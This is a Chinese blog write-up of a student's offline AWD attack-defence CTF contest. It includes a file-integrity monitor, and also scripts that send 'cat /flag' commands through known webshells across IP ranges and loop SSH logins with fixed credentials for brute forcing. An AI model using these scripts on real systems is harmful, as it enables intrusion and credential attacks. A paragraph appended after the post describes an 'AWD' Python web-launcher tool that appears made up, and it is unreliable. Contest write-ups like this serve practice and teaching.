第六周 线下AWD总结

博客:https://tothemoon2019.github.io/2020/11/06/1/


第六周 线下AWD总结

上周跟着工作室的大佬们去沈阳参加了第三届辽宁省网络安全技能大赛,非常幸运进了线下比赛。

image-20201104214821608

线下比赛的赛制是AWD(网络攻防),以前一直打ctf,偶尔听学长说过,但重来没有了解过。这次真的是恶补了一下,基本上每天都是通宵,但也只是大概对比赛有了一个比较清晰的概念,一切都还得等到比赛时才知晓怎样。果然,不才,只拿了一个华为手表(老师们非常不满意这个成绩啊)。

所以想着写一下总结,记录一下,查漏补缺。供下次比赛复习用。

1.工具

首先是一些工具。脚本,waf,啥的。

这次比赛我负责的是攻击,另一位大佬负责防守,另外一些脚本在他手里,时间匆促,分完工后我也没去学过他那边的。

AoiAWD(脚本已编译好)

上一届学长给了我一个安全响应系统AoiAWD,如果打比赛的时候部署上的话,防御应该非常简单了。可是这次用户给的权限实在太低了,连执行权限chmod +x 都没用。当时第一次部署时问师傅问的快没信心了,不过还是记录一下具体的使用方法,免的年久忘事。

首先启环境,先进入 AoiAWD/AoiAWD/ 里运行 aoiawd.phar

image-20201106143418643

image-20201106143317050

运行成功后会回显token,端口号,然后本机访问

输入token访问之

image-20201106144143290

image-20201106144211868

然后是网络配置,我是在虚拟机里搭建的环境,所以得配置端口映射才能靶机访问到。

这里有两个网卡:网络 nat+自定义。自定义可以不用管,但必须有一个nat模式。

image-20201106144032999

进入虚拟网络配置器,更改设置,

image-20201106144452877

image-20201106145019592

此时就能在物理机上访问了。

image-20201106145137762

其次是这四个脚本探针(我已生成),每个探针对应不同的功能,放到比赛的靶机里网站根目录下用 ./ 执行。

image-20201104221005086

image-20201106150440075

这里提示命令失败了可能是权限不够,用chmod +x赋予文件可执行权限(这次比赛连chmod+x都没给,也导致了当时没有搭上)。

image-20201106180801855

启动(-s后面接容器网址)

image-20201106204832598

D盾,Seay,Xshell

xshll连接服务器

用于代码审计,先用D盾扫出比较明显的漏洞,然后用Seay审计。

image-20201107150740728

一些批量自动脚本

监控本地文件

python(2) +文件名.py
如果php文件里有一行注释有 免死金牌 里面的字符串,则会自动跳过,不进行修改。

# -*- coding: utf-8 -*-
# 文件监控

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()  # 返回当前进程工作目录
FILE_MD5_DICT = {}  # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_A1F2GI'
bakstring = 'bak_KO4DF8'
logstring = 'log_JF239S'
webshellstring = 'webshell_89DFG2'
difffile = 'diff_UE23SN'

Special_string = 'file_n0t_kill'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak': os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log': os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell': os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile': os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
    return isinstance(value, (list, tuple, set))


# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
    if noneToNull and value is None:
        return None

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(
                        INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")


# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else:
            raise


# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root, subdirs, files in os.walk(cwd):   # 目录遍历器
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist


# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath, 'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass


# 获取所有文件MD5
def getfilemd5dict(filelist=[]):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict


# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])


if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST)  # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))   # 从file_list中去掉原有文件
        if len(diff_file_list) != 0:
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string in f:
                    ORIGIN_FILE_LIST = getfilelist(CWD)
                    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
                    backup_file(ORIGIN_FILE_LIST)  # TODO 备份文件可能会产生重名BUG
                    print u'[*] Special_file had be change : ' + getUnicode(filepath)

                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath,
                                    os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.' % getUnicode(filepath)
                    try:
                        # 写入日志
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string in f:
                    ORIGIN_FILE_LIST = getfilelist(CWD)
                    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
                    backup_file(ORIGIN_FILE_LIST)  # TODO 备份文件可能会产生重名BUG
                    print u'[*] Special_file had be change : ' + getUnicode(filekey)
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.' % getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)


生成ip列表,读取flag

用于查找未知靶机

# -*- coding: utf-8 -*-
# 生成ip列表
import re

ip_input = '49.234.62.198:8801-8812'

try:
    num = str(re.findall(r'[0-9]+-[0-9]+', ip_input)[0])
    f = open('ips_1.txt', 'w')
    for i in range(int(num.split('-')[0]), int(num.split('-')[1]) + 1):
        ip = str(ip_input).replace(num, str(i)) + '\n'
        print(ip, end='')
        f.write(ip)
    f.close()
except:
    print('Write Failed')
    exit()

用上面的ip列表连接已知后门进行读取flag

# -*- coding: utf-8 -*-

import requests
import time

way = '/footer.php'
data = {'shell': "cat /flag"}

flag_file = 'flag_1.txt' # 将结果写入flag_1.txt
ips_file = 'ips_1.txt'  # 读取的IP列表
res = []


def exp_post(file, way):
    try:
        count = 0
        success = 0
        f = open(file)
        line = f.readline().splitlines()
    except:
        print(file + ' Read Failed')

    while line:
        url = 'http://' + line[0] + way
        try:
            req = requests.post(url=url, data=data, timeout=3)
            flag = str(req.text.encode('raw_unicode_escape'))
            print({'ip': line, 'flag': flag})
            res.append({'ip': line, 'flag': flag})
            line = f.readline().splitlines()
            count += 1
            success += 1
        except:
            res.append({'ip': line, 'flag': None})
            print({'ip': line, 'flag': None})
            line = f.readline().splitlines()
            count += 1
            continue

    print('Total: ' + str(count) + '\tSuccessed: ' + str(success) + '\tFailed: ' + str(count-success))


def write_flags():
    try:
        f = open(flag_file, 'w')
        for i in res:
            f.write(str(i) + '\n')
        f.close()
    except:
        print('Flag Write Failed')


if __name__ == '__main__':
    while True:
        print('*' * 30)
        print(time.asctime(time.localtime(time.time())))
        exp_post(ips_file, way)
        write_flags()
        time.sleep(60 * 2)


和上个脚本类似,payload更多。

# -*- coding: utf-8 -*-
# 

import requests
import time
import re

ips_file = 'ips_1.txt'  # 读取的IP列表
way = '/config.php'        # 后门路径
payloads = [            # 后门密码和路径
    {"c": "exec('cat /flag',$out);print_r($out);die();"},
    {"c": "system('cat /flag',$out);print_r($out);die();"},
    {"c": "passthru('cat /flag',$out);print_r($out);die();"},
    {"c": "shell_exec('cat /flag',$out);print_r($out);die();"},
]
flag_file = 'flag_1.txt'
res = []        # 返回成功结果


def exp_post(file, way):
    try:
        count = 0
        success = 0
        f = open(file)
        line = f.readline().splitlines()
    except:
        print(file + ' Read Failed')

    while line:
        url = 'http://' + line[0] + way
        try:
            for payload in payloads:
                req = requests.post(url=url, data=payload, timeout=3)
                flag = str(re.findall(r'\[0\] \=\> .+\\n', str(req.text.encode('raw_unicode_escape')))[0])[7:-5]
                # flag = str(req.text.encode('raw_unicode_escape'))
                print({'ip': line, 'flag': flag})
                res.append({'ip': line, 'flag': flag})
                line = f.readline().splitlines()
                count += 1
                success += 1
                break
        except:
            res.append({'ip': line, 'flag': None})
            print({'ip': line, 'flag': None})
            line = f.readline().splitlines()
            count += 1
            continue


def write_flags():
    try:
        f = open(flag_file, 'w')
        for i in res:
            f.write(str(i) + '\n')
        f.close()
    except:
        print('Flag Write Failed')


if __name__ == '__main__':
    while True:
        print('*' * 30)
        print(time.asctime(time.localtime(time.time())))
        exp_post(ips_file, way)
        write_flags()
        time.sleep(60 * 2)


批量提交flag

# -*- coding: utf-8 -*-
import requests
import re

url = "https://172.20.1.1/Common/awd_sub_answer"
flags_file = 'flag_1.txt'
key_word = ''


def read_flags():
    # 读取Flag
    try:
        with open(flags_file, 'r') as f:
            lines = f.read().splitlines()
        f.close()
        return lines
    except:
        print('Flag Read Failed')
        exit()


def post_data(flags):
    # 提交flag
    success = 0
    for i in flags:
        data = {'ip': eval(i)['ip'], 'flag': eval(i)['flag']}

        try:
            req = requests.post(url=url, data=data, timeout=3)
            status = req.status_code
            re.findall(key_word, req.text)
            success += 1
            print('Submit Successed ', data['ip'])
        except :
            print('Failed IP : ', data['ip'])
            continue

    print('Total: ' + str(len(flags)) + '\tSuccessed: ' + str(success) + '\tFailed: ' + str(len(flags)-success))


if __name__ == '__main__':
    flags = read_flags()
    post_data(flags)

批量连接ssh(python2,可用于爆破弱密码)
import paramiko
for i in range(1,10):
    ip = '172.16.10'+str(i)+'.200' # ip地址
    port = '22' # 端口
    username = 'ubuntu' # 用户名
    passwd = 'venus' # 密码

    print(ip)
    # ssh 用户名 密码 登陆
    def ssh_base_pwd(ip, port, username, passwd, cmd='cat flag'): # 命令
        port = int(port)
        ssh = paramiko.SSHClient()

        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        ssh.connect(hostname=ip, port=port, username=username, password=passwd)

        stdin, stdout, stderr = ssh.exec_command(cmd)

        result = stdout.read()
        if not result:
            print("无结果!")
            result = stderr.read()
        ssh.close()

        return result.decode()

    try:
        a = ssh_base_pwd(ip, port, username, passwd)
        print(a)
    except:
        pass

批量连接flag

比如连接ssh,获取flag,提交flag等

2.注意事项

root权限,数据库

运气好的话,可以用弱密码把密码试出来,这次的比赛数据库的密码就是password但是当时旷了,没有试,然后被别的队拿到了权限清空了数据库。赛后我的另一位队友突然想起来php连数据库会把密码写在配置文件里了,淦,傻逼了,第一次打比赛出现这种低级失误。

靶机

这次有两个靶机,一个pwn,一个web,结果我们就维护了web题而没有看到pwn里面居然还有web…导致全程被别人打,所以以后得细心点了。

3.总结

还记得学长比赛前给我说过的一句话:“赛场上不要慌,要懂得随机应变”。

希望各位师傅以及我自己不管在是什么时候都牢记这句话。

  • 3
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 13
    评论
在运行Python脚本时,我们可以使用AWD(也称为Auto Web Discovery)来轻松地启动和管理Python的Web应用程序。 首先,确保已经安装了Python解释器。在命令行窗口中,可以输入"python --version"来检查Python版本。如果未安装Python,则需要先下载并安装。 接下来,我们需要安装AWD库。可以使用pip命令来安装。在命令行窗口中输入"pip install awd",等待安装完成。 安装完成后,可以通过在命令行窗口中输入"awd init"来初始化AWD。这将在当前目录下创建一个awd.ini文件,其中包含必要的配置信息。 然后,可以创建一个Python脚本,用以编写我们的Web应用程序。例如,可以使用Flask框架来创建一个简单的Web应用程序。在脚本中,我们需要导入Flask库,并定义一个应用对象。可以指定路由和处理函数来处理不同的URL请求。 完成脚本编写后,可以使用"awd run"命令来运行我们的Web应用程序。这将自动启动一个本地服务器,并将Web应用程序绑定到指定的主机和端口上。 在浏览器中输入指定的主机和端口,就可以访问我们的Web应用程序了。例如,如果我们将应用绑定到localhost和5000端口上,可以在浏览器中输入"http://localhost:5000"来访问。 同时,AWD还提供了其他功能,例如自动重新加载和处理静态文件等。这些功能可以在awd.ini文件中进行配置。 总的来说,AWD可以帮助我们更方便地运行和管理Python的Web应用程序,使得开发过程更加高效和便捷。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值